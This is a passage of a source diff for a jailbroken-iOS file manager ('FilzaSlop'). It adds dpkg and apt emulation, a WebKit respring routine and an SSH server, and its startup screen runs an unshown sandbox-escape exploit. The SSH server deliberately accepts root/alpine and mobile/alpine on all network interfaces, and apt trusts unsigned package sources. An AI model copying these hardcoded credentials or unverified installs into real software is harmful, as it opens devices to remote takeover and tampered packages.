package\n" + " -l, --list List installed packages\n" + " -s, --status Show package status\n" + " -L, --listfiles List package files\n" + " -x, --extract

Extract data archive\n" + " --contents List .deb contents\n" + " --print-architecture Print iphoneos-arm64\n" + " --force-architecture Allow non-native packages\n" + " --version Show version\n"); +} + +int WQDPKGMain(int argc, char **argv, FILE *out, FILE *err) +{ + WQEnsurePackageDirectories(); + if (argc < 2) { WQDPKGUsage(out); return 1; } + NSString *action = [NSString stringWithUTF8String:argv[1]]; + BOOL force = NO; + int index = 2; + for (int i = 2; i < argc; i++) { + NSString *arg = [NSString stringWithUTF8String:argv[i]]; + if ([arg isEqualToString:@"--force-architecture"]) force = YES; + } + NSDictionary *options = force ? @{ @"force": @YES } : @{}; + + if ([action isEqualToString:@"--version"]) { + fprintf(out, "dpkg 1.22 (FilzaSlop in-process)\n"); + return 0; + } + if ([action isEqualToString:@"--print-architecture"]) { + fprintf(out, "iphoneos-arm64\n"); + return 0; + } + if ([action isEqualToString:@"-l"] || [action isEqualToString:@"--list"]) { + NSString *text = [NSString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + fprintf(out, "Desired=Unknown/Install/Remove/Purge/Hold\n" + "||/ Name Version Architecture Description\n"); + for (NSString *stanza in [text componentsSeparatedByString:@"\n\n"]) { + if (stanza.length == 0) continue; + NSString *name = WQFieldFromStanza(stanza, @"Package"); + NSString *version = WQFieldFromStanza(stanza, @"Version") ?: @""; + NSString *arch = WQFieldFromStanza(stanza, @"Architecture") ?: @""; + NSString *description = WQFieldFromStanza(stanza, @"Description") ?: @""; + fprintf(out, "ii %-20s %-14s %-14s %s\n", + (name ?: @"").UTF8String, version.UTF8String, + arch.UTF8String, description.UTF8String); + } + return 0; + } + if ([action isEqualToString:@"-s"] || [action isEqualToString:@"--status"]) { + if (index >= argc) { fprintf(err, "dpkg: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[index]]; + NSString *text = [NSString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSString *stanza = WQStanzaForKey(text, @"Package", package); + if (!stanza) { fprintf(err, "dpkg: package %s is not installed\n", + package.UTF8String); return 1; } + fprintf(out, "%s\n", stanza.UTF8String); + return 0; + } + if ([action isEqualToString:@"-L"] || [action isEqualToString:@"--listfiles"]) { + if (index >= argc) { fprintf(err, "dpkg: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[index]]; + NSString *list = [NSString stringWithContentsOfFile: + [WQInfoDirectory() stringByAppendingPathComponent: + [package stringByAppendingString:@".list"]] + encoding:NSUTF8StringEncoding error:nil]; + if (!list) { fprintf(err, "dpkg: package %s has no file list\n", + package.UTF8String); return 1; } + fprintf(out, "%s\n", list.UTF8String); + return 0; + } + if ([action isEqualToString:@"-r"] || [action isEqualToString:@"--remove"] || + [action isEqualToString:@"-P"] || [action isEqualToString:@"--purge"]) { + if (index >= argc) { fprintf(err, "dpkg: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[index]]; + NSString *listPath = [WQInfoDirectory() + stringByAppendingPathComponent:[package stringByAppendingString:@".list"]]; + NSString *list = [NSString stringWithContentsOfFile:listPath + encoding:NSUTF8StringEncoding error:nil]; + NSFileManager *fm = NSFileManager.defaultManager; + for (NSString *relative in [list componentsSeparatedByString:@"\n"]) { + if (!relative.length) continue; + NSString *target = [WQInstallRoot() stringByAppendingPathComponent:relative]; + [fm removeItemAtPath:target error:nil]; + } + [fm removeItemAtPath:listPath error:nil]; + WQRemoveStatusStanza(package); + fprintf(out, "Removing %s ...\n", package.UTF8String); + return 0; + } + if ([action isEqualToString:@"-x"] || [action isEqualToString:@"--extract"] || + [action isEqualToString:@"--contents"]) { + if (index >= argc) { fprintf(err, "dpkg: missing .deb\n"); return 1; } + NSString *path = [NSString stringWithUTF8String:argv[index]]; + NSData *archive = [NSData dataWithContentsOfFile:path]; + NSData *data = WQArMember(archive, @"data.tar"); + if (!data) { fprintf(err, "dpkg: no data archive\n"); return 1; } + if ([action isEqualToString:@"--contents"]) { + NSMutableArray *files = [NSMutableArray array]; + WQExtractArchiveData(data, NSTemporaryDirectory(), files); + for (NSString *file in files) fprintf(out, "%s\n", file.UTF8String); + return 0; + } + NSString *destination = index + 1 < argc + ? [NSString stringWithUTF8String:argv[index + 1]] + : WQInstallRoot(); + NSMutableArray *files = [NSMutableArray array]; + return WQExtractArchiveData(data, destination, files) ? 0 : 1; + } + if ([action isEqualToString:@"-i"] || [action isEqualToString:@"--install"]) { + if (index >= argc) { fprintf(err, "dpkg: missing .deb\n"); return 1; } + BOOL all = YES; + for (; index < argc; index++) { + NSString *path = [NSString stringWithUTF8String:argv[index]]; + if ([path isEqualToString:@"--force-architecture"]) continue; + if (!WQInstallDeb(path, out, err, options)) all = NO; + } + return all ? 0 : 1; + } + WQDPKGUsage(out); + return 1; +} + +#pragma mark - apt + +static NSString *WQAptIndexPath(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent: + @"var/lib/apt/lists/Packages"]; +} + +static NSString *WQAptSourcesPath(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"etc/apt/sources.list"]; +} + +static NSArray *WQAptStanzas(void) +{ + NSString *text = [NSString stringWithContentsOfFile:WQAptIndexPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSMutableArray *stanzas = [NSMutableArray array]; + for (NSString *stanza in [text componentsSeparatedByString:@"\n\n"]) + if (stanza.length) [stanzas addObject:stanza]; + return stanzas; +} + +static NSData *WQDownloadURL(NSString *urlString) +{ + NSURL *url = [NSURL URLWithString:urlString]; + if (!url) return nil; + if ([url isFileURL]) return [NSData dataWithContentsOfURL:url]; + dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); + __block NSData *result = nil; + NSURLSessionDataTask *task = [NSURLSession.sharedSession dataTaskWithURL:url + completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) { + if (!error && [(NSHTTPURLResponse *)response statusCode] / 100 == 2) + result = data; + dispatch_semaphore_signal(semaphore); + }]; + [task resume]; + dispatch_semaphore_wait(semaphore, dispatch_time(DISPATCH_TIME_NOW, 30 * NSEC_PER_SEC)); + return result; +} + +static void WQEnsureSources(void) +{ + NSString *path = WQAptSourcesPath(); + if ([[NSFileManager defaultManager] fileExistsAtPath:path]) return; + NSString *root = WQPackageRoot(); + NSString *line = [NSString stringWithFormat:@"deb [trusted=yes] file://%@/repo ./\n", root]; + [line writeToFile:path atomically:YES encoding:NSUTF8StringEncoding error:nil]; +} + +static void WQAptUsage(FILE *out) +{ + fprintf(out, + "Usage: apt \n" + " update Refresh package indexes\n" + " list List packages in the index\n" + " search Search package names/descriptions\n" + " show Show package details\n" + " install Install a package\n" + " remove|purge Remove a package\n" + " clean Clear downloaded archives\n" + " --version Show version\n" + "Root: %s\n", WQPackageRoot().UTF8String); +} + +int WQAptMain(int argc, char **argv, FILE *out, FILE *err) +{ + WQEnsurePackageDirectories(); + WQEnsureSources(); + if (argc < 2) { WQAptUsage(out); return 1; } + NSString *action = [NSString stringWithUTF8String:argv[1]]; + if ([action isEqualToString:@"--version"]) { + fprintf(out, "apt 2.7 (FilzaSlop in-process)\n"); + return 0; + } + if ([action isEqualToString:@"update"]) { + fprintf(out, "apt: updating package lists...\n"); + NSString *sources = [NSString stringWithContentsOfFile:WQAptSourcesPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSMutableString *index = [NSMutableString string]; + for (NSString *line in [sources componentsSeparatedByString:@"\n"]) { + if (![line hasPrefix:@"deb "]) continue; + NSArray *parts = [line componentsSeparatedByString:@" "]; + NSString *uri = nil; + for (NSString *part in parts) { + if ([part hasPrefix:@"http://"] || [part hasPrefix:@"https://"] || + [part hasPrefix:@"file://"]) { uri = part; break; } + } + if (!uri.length) continue; + NSArray *names = @[@"Packages", @"Packages.gz"]; + BOOL loaded = NO; + for (NSString *name in names) { + NSString *url = [uri stringByAppendingPathComponent:name]; + NSData *data = WQDownloadURL(url); + if (!data.length) continue; + if ([name hasSuffix:@".gz"]) { + // Decompress gzip through libarchive's raw reader. + WQArchive *archive = archive_read_new(); + archive_read_support_filter_all(archive); + archive_read_support_format_raw(archive); + if (archive_read_open_memory(archive, data.bytes, data.length) != ARCHIVE_OK) { + archive_read_free(archive); + continue; + } + struct archive_entry *entry; + NSMutableData *plain = [NSMutableData data]; + if (archive_read_next_header(archive, &entry) == WQ_ARCHIVE_OK) { + uint8_t buffer[65536]; + ssize_t got; + while ((got = archive_read_data(archive, buffer, sizeof(buffer))) > 0) + [plain appendBytes:buffer length:(NSUInteger)got]; + } + archive_read_free(archive); + data = plain; + } + NSString *text = [[NSString alloc] initWithData:data + encoding:NSUTF8StringEncoding]; + if (text.length) { + [index appendString:text]; + if (![index hasSuffix:@"\n"]) [index appendString:@"\n"]; + loaded = YES; + break; + } + } + fprintf(out, "%s: %s\n", loaded ? "Get" : "Err", uri.UTF8String); + } + [index writeToFile:WQAptIndexPath() atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + fprintf(out, "Reading package lists... Done\n"); + return 0; + } + if ([action isEqualToString:@"list"]) { + for (NSString *stanza in WQAptStanzas()) { + NSString *name = WQFieldFromStanza(stanza, @"Package") ?: @""; + NSString *version = WQFieldFromStanza(stanza, @"Version") ?: @""; + NSString *description = WQFieldFromStanza(stanza, @"Description") ?: @""; + fprintf(out, "%s/%s %s %s\n", name.UTF8String, + (WQFieldFromStanza(stanza, @"Architecture") ?: @"iphoneos-arm64").UTF8String, + version.UTF8String, description.UTF8String); + } + return 0; + } + if ([action isEqualToString:@"search"]) { + NSString *text = argc > 2 ? [NSString stringWithUTF8String:argv[2]] : @""; + for (NSString *stanza in WQAptStanzas()) + if (text.length == 0 || [stanza.lowercaseString containsString:text.lowercaseString]) { + NSString *name = WQFieldFromStanza(stanza, @"Package") ?: @""; + NSString *description = WQFieldFromStanza(stanza, @"Description") ?: @""; + fprintf(out, "%s - %s\n", name.UTF8String, description.UTF8String); + } + return 0; + } + if ([action isEqualToString:@"show"]) { + if (argc < 3) { fprintf(err, "apt: missing package\n"); return 1; } + NSString *package = [NSString stringWithUTF8String:argv[2]]; + for (NSString *stanza in WQAptStanzas()) + if ([WQFieldFromStanza(stanza, @"Package") isEqualToString:package]) { + fprintf(out, "%s\n", stanza.UTF8String); + return 0; + } + fprintf(err, "apt: package %s not found\n", package.UTF8String); + return 1; + } + if ([action isEqualToString:@"install"]) { + if (argc < 3) { fprintf(err, "apt: missing package\n"); return 1; } + NSString *target = [NSString stringWithUTF8String:argv[2]]; + if ([[NSFileManager defaultManager] fileExistsAtPath:target] || + [target hasSuffix:@".deb"]) + return WQDPKGMain(3, (char *[]){(char *)"dpkg", (char *)"-i", + (char *)target.UTF8String}, out, err) ? 0 : 1; + for (NSString *stanza in WQAptStanzas()) { + if (![WQFieldFromStanza(stanza, @"Package") isEqualToString:target]) continue; + NSString *filename = WQFieldFromStanza(stanza, @"Filename"); + NSString *source = @""; + NSString *sources = [NSString stringWithContentsOfFile:WQAptSourcesPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + for (NSString *line in [sources componentsSeparatedByString:@"\n"]) + for (NSString *part in [line componentsSeparatedByString:@" "]) + if ([part hasPrefix:@"http"] || [part hasPrefix:@"file://"]) { + source = part; break; + } + NSString *url = [source stringByAppendingPathComponent:filename ?: @""]; + NSData *deb = WQDownloadURL(url); + NSString *cache = [[WQPackageRoot() + stringByAppendingPathComponent:@"var/cache/apt/archives"] + stringByAppendingPathComponent:filename.lastPathComponent ?: @"package.deb"]; + if (!deb.length || ![deb writeToFile:cache atomically:YES]) { + fprintf(err, "apt: unable to download %s\n", url.UTF8String); + return 1; + } + return WQDPKGMain(3, (char *[]){(char *)"dpkg", (char *)"-i", + (char *)cache.UTF8String}, out, err) ? 0 : 1; + } + fprintf(err, "apt: package %s not found; run 'apt update'\n", target.UTF8String); + return 1; + } + if ([action isEqualToString:@"remove"] || [action isEqualToString:@"purge"]) { + if (argc < 3) { fprintf(err, "apt: missing package\n"); return 1; } + return WQDPKGMain(argc, (char *[]){(char *)"dpkg", (char *)"-r", + argv[2], NULL}, out, err) ? 0 : 1; + } + if ([action isEqualToString:@"clean"]) { + NSString *archives = [WQPackageRoot() + stringByAppendingPathComponent:@"var/cache/apt/archives"]; + for (NSString *name in [NSFileManager.defaultManager + contentsOfDirectoryAtPath:archives error:nil]) + [NSFileManager.defaultManager removeItemAtPath: + [archives stringByAppendingPathComponent:name] error:nil]; + fprintf(out, "apt: cache cleaned\n"); + return 0; + } + WQAptUsage(out); + return 1; +} + +BOOL WQInstallDebPackage(NSString *path, NSString **message) +{ + FILE *out = tmpfile(); + FILE *err = tmpfile(); + BOOL result = WQInstallDeb(path, out, err, @{}); + NSMutableString *text = [NSMutableString string]; + if (out) { + fflush(out); rewind(out); + char buffer[4096]; size_t got; + while ((got = fread(buffer, 1, sizeof(buffer), out)) > 0) + [text appendString:[[NSString alloc] initWithBytes:buffer + length:got encoding:NSUTF8StringEncoding] ?: @""]; + fclose(out); + } + if (err) { + fflush(err); rewind(err); + char buffer[4096]; size_t got; + while ((got = fread(buffer, 1, sizeof(buffer), err)) > 0) + [text appendString:[[NSString alloc] initWithBytes:buffer + length:got encoding:NSUTF8StringEncoding] ?: @""]; + fclose(err); + } + if (message) *message = text; + return result; +} diff --git a/WQRespring.h b/WQRespring.h new file mode 100644 index 0000000..d8d23f2 --- /dev/null +++ b/WQRespring.h @@ -0,0 +1,9 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Respring using the WebKit pressure method documented by Erosion +/// (neonmodder123). Returns immediately; SpringBoard normally relaunches. +FOUNDATION_EXPORT void WQPerformRespring(void); + +NS_ASSUME_NONNULL_END diff --git a/WQRespring.m b/WQRespring.m new file mode 100644 index 0000000..eb94e84 --- /dev/null +++ b/WQRespring.m @@ -0,0 +1,67 @@ +// +// WQRespring.m +// FilzaSlop +// +// WebKit-based respring method from Erosion / neonmodder123. +// + +#import "WQRespring.h" +#import +#import + +static WKWebView *gRespringWebView; + +static NSString *const kWQRespringHTML = +@"" +@"" +@""; + +void WQPerformRespring(void) +{ + dispatch_async(dispatch_get_main_queue(), ^{ + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (candidate.isKeyWindow && !candidate.isHidden) { + window = candidate; + break; + } + } + if (!window) { + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (!candidate.isHidden) { window = candidate; break; } + } + } + if (!window) return; + + if (!gRespringWebView) { + WKWebViewConfiguration *configuration = [WKWebViewConfiguration new]; + gRespringWebView = [[WKWebView alloc] initWithFrame:window.bounds + configuration:configuration]; + gRespringWebView.backgroundColor = UIColor.blackColor; + gRespringWebView.opaque = YES; + } + if (gRespringWebView.superview != window) { + gRespringWebView.frame = window.bounds; + [window addSubview:gRespringWebView]; + } + [gRespringWebView loadHTMLString:kWQRespringHTML baseURL:nil]; + NSLog(@"[Respring] WebKit respring pressure started"); + }); +} diff --git a/WQSSHServer.h b/WQSSHServer.h new file mode 100644 index 0000000..037ad26 --- /dev/null +++ b/WQSSHServer.h @@ -0,0 +1,14 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Starts the embedded libssh server. Both `mobile` and `root` authenticate +/// with password `alpine`; each session gets the same in-process shell engine +/// rooted at the worse_query hub. +FOUNDATION_EXPORT BOOL WQSSHServerStart(NSString *_Nullable *_Nullable error); +FOUNDATION_EXPORT void WQSSHServerStop(void); +FOUNDATION_EXPORT BOOL WQSSHServerIsRunning(void); +FOUNDATION_EXPORT NSInteger WQSSHServerPort(void); +FOUNDATION_EXPORT NSString *WQSSHServerURL(void); + +NS_ASSUME_NONNULL_END diff --git a/WQSSHServer.m b/WQSSHServer.m new file mode 100644 index 0000000..b1bf307 --- /dev/null +++ b/WQSSHServer.m @@ -0,0 +1,335 @@ +// +// WQSSHServer.m +// FilzaSlop +// +// In-process SSH server built on libssh (weakly linked; the public build +// does not ship libssh). Authentication is intentionally simple: +// mobile/alpine and root/alpine. Each session runs the same in-process shell +// engine used by Filza's terminal, starting in the worse_query hub. +// + +#import "WQSSHServer.h" +#import "WQTerminal.h" +#import "WQFilzaIntegration.h" + +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +#include +#include + +static ssh_bind gSSHBind; +static ssh_key gSSHHostKey; +static pthread_t gSSHListenerThread; +static BOOL gSSHRunning; +static NSInteger gSSHPort = 2222; +static NSString *gSSHLastError; +static NSObject *gSSHLock; + +static void WQSSHLog(NSString *message) +{ + NSLog(@"[WQSSH] %@", message); +} + +static BOOL WQSSHLibraryAvailable(void) +{ + return dlsym(RTLD_DEFAULT, "ssh_bind_new") != NULL && + dlsym(RTLD_DEFAULT, "ssh_handle_key_exchange") != NULL; +} + +#pragma mark - Session shell + +static const char *WQSSHAuthorizedPassword(const char *user) +{ + if (!user) return NULL; + if (strcmp(user, "mobile") == 0 || strcmp(user, "root") == 0) + return "alpine"; + return NULL; +} + +static void *WQSSHClientThread(void *argument) +{ + ssh_session session = (ssh_session)argument; + @autoreleasepool { + if (!session) return NULL; + if (ssh_handle_key_exchange(session) != SSH_OK) { + WQSSHLog([NSString stringWithFormat:@"key exchange failed: %s", + ssh_get_error(session)]); + ssh_disconnect(session); + ssh_free(session); + return NULL; + } + + ssh_channel channel = NULL; + char authenticatedUser[64] = {0}; + BOOL authenticated = NO; + + while (gSSHRunning) { + ssh_message message = ssh_message_get(session); + if (!message) break; + int type = ssh_message_type(message); + int subtype = ssh_message_subtype(message); + + if (type == SSH_REQUEST_AUTH && !authenticated) { + if (subtype == SSH_AUTH_METHOD_PASSWORD) { + const char *user = ssh_message_auth_user(message); + const char *password = ssh_message_auth_password(message); + const char *expected = WQSSHAuthorizedPassword(user); + if (expected && password && strcmp(password, expected) == 0) { + ssh_message_auth_reply_success(message, 0); + authenticated = YES; + strncpy(authenticatedUser, user, + sizeof(authenticatedUser) - 1); + WQSSHLog([NSString stringWithFormat:@"login user=%s", user]); + ssh_message_free(message); + continue; + } + } + ssh_message_auth_set_methods(message, SSH_AUTH_METHOD_PASSWORD); + ssh_message_reply_default(message); + } else if (authenticated && type == SSH_REQUEST_CHANNEL_OPEN && + subtype == SSH_CHANNEL_SESSION) { + channel = ssh_message_channel_request_open_reply_accept(message); + } else if (authenticated && type == SSH_REQUEST_CHANNEL && channel) { + if (subtype == SSH_CHANNEL_REQUEST_PTY) { + ssh_message_channel_request_reply_success(message); + } else if (subtype == SSH_CHANNEL_REQUEST_SHELL) { + ssh_message_channel_request_reply_success(message); + ssh_message_free(message); + break; + } else { + ssh_message_reply_default(message); + } + } else { + ssh_message_reply_default(message); + } + ssh_message_free(message); + } + + if (!authenticated || !channel) { + ssh_disconnect(session); + ssh_free(session); + return NULL; + } + + setenv("USER", authenticatedUser, 1); + setenv("LOGNAME", authenticatedUser, 1); + setenv("HOME", NSHomeDirectory().UTF8String, 1); + setenv("SHELL", "fish", 1); + + int pid = -1; + int master = WQTerminalSpawnShell(&pid, WQVirtualRootFolder()); + if (master < 0) { + const char *failure = "Unable to start the in-process shell.\r\n"; + ssh_channel_write(channel, failure, (uint32_t)strlen(failure)); + ssh_channel_send_eof(channel); + ssh_channel_close(channel); + ssh_channel_free(channel); + ssh_disconnect(session); + ssh_free(session); + return NULL; + } + fcntl(master, F_SETFL, O_NONBLOCK); + + char buffer[4096]; + while (gSSHRunning && ssh_channel_is_open(channel)) { + int incoming = ssh_channel_read_nonblocking(channel, buffer, + sizeof(buffer), 0); + if (incoming > 0) { + ssize_t written = 0; + while (written < incoming) { + ssize_t step = write(master, buffer + written, + (size_t)(incoming - written)); + if (step <= 0) break; + written += step; + } + } else if (incoming == SSH_ERROR) { + // Client may have half-closed stdin after piping a command. + // Keep pumping shell output until the shell exits. + } + + ssize_t outgoing = read(master, buffer, sizeof(buffer)); + if (outgoing > 0) { + int offset = 0; + while (offset < outgoing) { + int sent = ssh_channel_write(channel, buffer + offset, + (uint32_t)(outgoing - offset)); + if (sent <= 0) break; + offset += sent; + } + } else if (outgoing < 0 && errno != EAGAIN && errno != EWOULDBLOCK) { + break; + } + usleep(5000); + } + + close(master); + ssh_channel_send_eof(channel); + ssh_channel_close(channel); + ssh_channel_free(channel); + ssh_disconnect(session); + ssh_free(session); + } + return NULL; +} + +#pragma mark - Listener + +static void *WQSSHListener(void *argument) +{ + @autoreleasepool { + while (gSSHRunning) { + ssh_session session = ssh_new(); + if (!session) break; + if (ssh_bind_accept(gSSHBind, session) != SSH_OK) { + ssh_free(session); + if (!gSSHRunning) break; + usleep(20000); + continue; + } + pthread_t thread; + if (pthread_create(&thread, NULL, WQSSHClientThread, session) == 0) { + pthread_detach(thread); + } else { + ssh_disconnect(session); + ssh_free(session); + } + } + } + return NULL; +} + +static BOOL WQSSHTryPort(NSInteger port, NSString **error) +{ + gSSHBind = ssh_bind_new(); + if (!gSSHBind) { + if (error) *error = @"ssh_bind_new failed"; + return NO; + } + unsigned int bindPort = (unsigned int)port; + ssh_bind_options_set(gSSHBind, SSH_BIND_OPTIONS_BINDADDR, "0.0.0.0"); + ssh_bind_options_set(gSSHBind, SSH_BIND_OPTIONS_BINDPORT, &bindPort); + if (gSSHHostKey) + ssh_bind_options_set(gSSHBind, SSH_BIND_OPTIONS_IMPORT_KEY, gSSHHostKey); + if (ssh_bind_listen(gSSHBind) != SSH_OK) { + if (error) *error = [NSString stringWithFormat:@"listen failed: %s", + ssh_get_error(gSSHBind)]; + ssh_bind_free(gSSHBind); + gSSHBind = NULL; + return NO; + } + gSSHPort = port; + return YES; +} + +BOOL WQSSHServerStart(NSString **error) +{ + @synchronized (gSSHLock ?: (gSSHLock = [NSObject new])) { + if (gSSHRunning) return YES; + if (!WQSSHLibraryAvailable()) { + if (error) *error = @"libssh is not bundled in this build"; + return NO; + } + ssh_init(); + if (!gSSHHostKey) { + if (ssh_pki_generate(SSH_KEYTYPE_RSA, 2048, &gSSHHostKey) != SSH_OK) { + if (error) *error = @"failed to generate SSH host key"; + ssh_finalize(); + return NO; + } + } + gSSHRunning = YES; + BOOL bound = NO; + NSString *lastError = nil; + NSInteger requested = WQSSHServerPort(); + for (NSInteger port = requested; port < requested + 8; port++) { + if (WQSSHTryPort(port, &lastError)) { bound = YES; break; } + } + if (!bound) { + gSSHRunning = NO; + ssh_finalize(); + if (error) *error = lastError ?: @"unable to bind SSH port"; + WQSSHLog([NSString stringWithFormat:@"start failed: %@", lastError]); + return NO; + } + if (pthread_create(&gSSHListenerThread, NULL, WQSSHListener, NULL) != 0) { + gSSHRunning = NO; + ssh_bind_free(gSSHBind); + gSSHBind = NULL; + if (error) *error = @"failed to create SSH listener thread"; + return NO; + } + pthread_detach(gSSHListenerThread); + gSSHLastError = nil; + WQSSHLog([NSString stringWithFormat:@"started port=%ld url=%@", + (long)gSSHPort, WQSSHServerURL()]); + return YES; + } +} + +void WQSSHServerStop(void) +{ + @synchronized (gSSHLock ?: (gSSHLock = [NSObject new])) { + if (!gSSHRunning && !gSSHBind) return; + gSSHRunning = NO; + if (gSSHBind) { + ssh_bind_free(gSSHBind); + gSSHBind = NULL; + } + if (gSSHHostKey) { + ssh_key_free(gSSHHostKey); + gSSHHostKey = NULL; + } + ssh_finalize(); + WQSSHLog(@"stopped"); + } +} + +BOOL WQSSHServerIsRunning(void) +{ + return gSSHRunning; +} + +NSInteger WQSSHServerPort(void) +{ + id value = [NSUserDefaults.standardUserDefaults objectForKey:@"WQSSHPort"]; + NSInteger port = [value respondsToSelector:@selector(integerValue)] + ? [value integerValue] : 2222; + if (port < 1024 || port > 65535) port = 2222; + return port; +} + +NSString *WQSSHServerURL(void) +{ + struct ifaddrs *interfaces = NULL; + NSString *ip = nil; + if (getifaddrs(&interfaces) == 0) { + for (struct ifaddrs *cursor = interfaces; cursor; cursor = cursor->ifa_next) { + if (!cursor->ifa_addr || cursor->ifa_addr->sa_family != AF_INET) continue; + NSString *name = [NSString stringWithUTF8String:cursor->ifa_name ?: ""]; + if ([name isEqualToString:@"lo0"]) continue; + char address[INET_ADDRSTRLEN] = {0}; + struct sockaddr_in *sin = (struct sockaddr_in *)cursor->ifa_addr; + if (!inet_ntop(AF_INET, &sin->sin_addr, address, sizeof(address))) continue; + NSString *candidate = [NSString stringWithUTF8String:address]; + if ([name isEqualToString:@"en0"] || [name isEqualToString:@"en1"]) { + ip = candidate; + break; + } + if (!ip) ip = candidate; + } + freeifaddrs(interfaces); + } + return [NSString stringWithFormat:@"ssh -p %ld mobile@%@", + (long)gSSHPort, ip ?: @"127.0.0.1"]; +} diff --git a/WQStartupUI.h b/WQStartupUI.h new file mode 100644 index 0000000..66599ee --- /dev/null +++ b/WQStartupUI.h @@ -0,0 +1,10 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Shows the blocking startup panel and starts the worse_query pipeline. +/// The panel dismisses when @"WQStartupFinished" is posted, then posts +/// @"WQStartupUIDidDismiss" so the browser can jump to the populated root. +FOUNDATION_EXPORT void WQStartupUIBegin(void); + +NS_ASSUME_NONNULL_END diff --git a/WQStartupUI.m b/WQStartupUI.m new file mode 100644 index 0000000..0151753 --- /dev/null +++ b/WQStartupUI.m @@ -0,0 +1,272 @@ +// +// WQStartupUI.m +// FilzaSlop +// +// Blocking launch panel: the exploit runs and every supported directory is +// indexed before Filza's browser becomes interactive. This prevents the +// empty-folder flash that occurs when Filza restores its own home path first. +// + +#import "WQStartupUI.h" +#import "WQFilzaIntegration.h" + +#import +#import + +static UIWindow *gStartupWindow; +static UIWindow *gPreviousKeyWindow; +static BOOL gStartupBegan; + +@interface WQStartupViewController : UIViewController +@property (nonatomic, strong) UIProgressView *progressView; +@property (nonatomic, strong) UILabel *statusLabel; +@property (nonatomic, strong) UILabel *percentLabel; +@property (nonatomic, strong) UILabel *detailLabel; +@property (nonatomic, strong) UIActivityIndicatorView *spinner; +@property (nonatomic, strong) NSArray *observers; +@property (nonatomic, assign) BOOL finished; +@property (nonatomic, assign) NSTimeInterval shownAt; +@property (nonatomic, assign) double lastProgress; +@end + +@implementation WQStartupViewController + +- (void)viewDidLoad +{ + [super viewDidLoad]; + self.view.backgroundColor = [UIColor colorWithWhite:0.035 alpha:1.0]; + self.overrideUserInterfaceStyle = UIUserInterfaceStyleDark; + self.shownAt = [NSDate timeIntervalSinceReferenceDate]; + + UIView *card = [UIView new]; + card.translatesAutoresizingMaskIntoConstraints = NO; + card.backgroundColor = [UIColor colorWithWhite:0.105 alpha:1.0]; + card.layer.cornerRadius = 22; + card.layer.cornerCurve = kCACornerCurveContinuous; + [self.view addSubview:card]; + + UIImage *icon = [UIImage imageNamed:@"AppIcon60x60"]; + if (!icon) icon = [UIImage imageNamed:@"AppIcon"]; + UIImageView *iconView = [[UIImageView alloc] initWithImage:icon]; + iconView.translatesAutoresizingMaskIntoConstraints = NO; + iconView.layer.cornerRadius = 16; + iconView.layer.cornerCurve = kCACornerCurveContinuous; + iconView.clipsToBounds = YES; + iconView.contentMode = UIViewContentModeScaleAspectFill; + [card addSubview:iconView]; + + UILabel *title = [UILabel new]; + title.translatesAutoresizingMaskIntoConstraints = NO; + title.text = @"Filza WQ"; + title.textColor = UIColor.whiteColor; + title.font = [UIFont systemFontOfSize:25 weight:UIFontWeightBold]; + title.textAlignment = NSTextAlignmentCenter; + [card addSubview:title]; + + UILabel *subtitle = [UILabel new]; + subtitle.translatesAutoresizingMaskIntoConstraints = NO; + subtitle.text = @"iOS 27.2 · worse_query sandbox access"; + subtitle.textColor = [UIColor colorWithWhite:0.62 alpha:1.0]; + subtitle.font = [UIFont systemFontOfSize:12 weight:UIFontWeightMedium]; + subtitle.textAlignment = NSTextAlignmentCenter; + [card addSubview:subtitle]; + + self.statusLabel = [UILabel new]; + self.statusLabel.translatesAutoresizingMaskIntoConstraints = NO; + self.statusLabel.text = @"正在启动…"; + self.statusLabel.textColor = UIColor.whiteColor; + self.statusLabel.font = [UIFont systemFontOfSize:15 weight:UIFontWeightSemibold]; + self.statusLabel.textAlignment = NSTextAlignmentCenter; + self.statusLabel.numberOfLines = 2; + [card addSubview:self.statusLabel]; + + self.progressView = [[UIProgressView alloc] initWithProgressViewStyle:UIProgressViewStyleDefault]; + self.progressView.translatesAutoresizingMaskIntoConstraints = NO; + self.progressView.progress = 0.02; + self.progressView.progressTintColor = [UIColor colorWithRed:0.20 green:0.55 blue:1.0 alpha:1.0]; + self.progressView.trackTintColor = [UIColor colorWithWhite:0.24 alpha:1.0]; + self.progressView.layer.cornerRadius = 3; + self.progressView.clipsToBounds = YES; + [card addSubview:self.progressView]; + + self.percentLabel = [UILabel new]; + self.percentLabel.translatesAutoresizingMaskIntoConstraints = NO; + self.percentLabel.text = @"2%"; + self.percentLabel.textColor = [UIColor colorWithWhite:0.72 alpha:1.0]; + self.percentLabel.font = [UIFont monospacedDigitSystemFontOfSize:12 weight:UIFontWeightMedium]; + self.percentLabel.textAlignment = NSTextAlignmentCenter; + [card addSubview:self.percentLabel]; + + self.spinner = [[UIActivityIndicatorView alloc] initWithActivityIndicatorStyle:UIActivityIndicatorViewStyleMedium]; + self.spinner.translatesAutoresizingMaskIntoConstraints = NO; + self.spinner.color = [UIColor colorWithWhite:0.72 alpha:1.0]; + [self.spinner startAnimating]; + [card addSubview:self.spinner]; + + self.detailLabel = [UILabel new]; + self.detailLabel.translatesAutoresizingMaskIntoConstraints = NO; + self.detailLabel.text = @"应用数据、App Group、系统组与扩展目录加载完成后才会进入。"; + self.detailLabel.textColor = [UIColor colorWithWhite:0.52 alpha:1.0]; + self.detailLabel.font = [UIFont systemFontOfSize:11]; + self.detailLabel.textAlignment = 